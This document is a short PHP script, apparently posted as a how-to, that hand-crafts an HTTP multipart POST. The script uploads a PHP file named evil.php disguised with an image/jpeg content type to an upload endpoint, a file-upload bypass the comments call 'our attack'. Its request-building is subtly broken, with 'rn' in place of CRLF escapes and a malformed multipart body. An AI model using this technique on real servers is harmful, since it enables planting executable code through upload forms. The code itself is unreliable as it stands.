upload file from PHP using \fwrite()

do_upload.php

<?php
// The destination for our attack:
$host = "localhost";
$port = 82;
$page = "/upload.php";

// Here we have the file we're uploading (note the content-type):
$payload =
    "------ThisIsABoundary
    Content-Disposition: form-data; name=\"file\"; filename=\"evil.php\"
    Content-Type: image/jpeg

    <?php phpinfo();
    ------ThisIsABoundary--";

// Finally, craft the request and send it.
$content_length = \strlen($payload);
$headers = array(
    "POST {$page} HTTP/1.1",
    "Host: {$host}:{$port}",
    "Connection: close",
    "Content-Length: {$content_length}",
    "User-Agent: Evil Robot",
    "Content-Type: multipart/form-data; boundary=----ThisIsABoundary",
);

$request = \implode("rn", $headers) . "rnrn" . $payload . "rn";

$fp = \fsockopen($host, $port, $errno, $errstr)
or die("ERROR: $errno - $errstr");
\fwrite($fp, $request);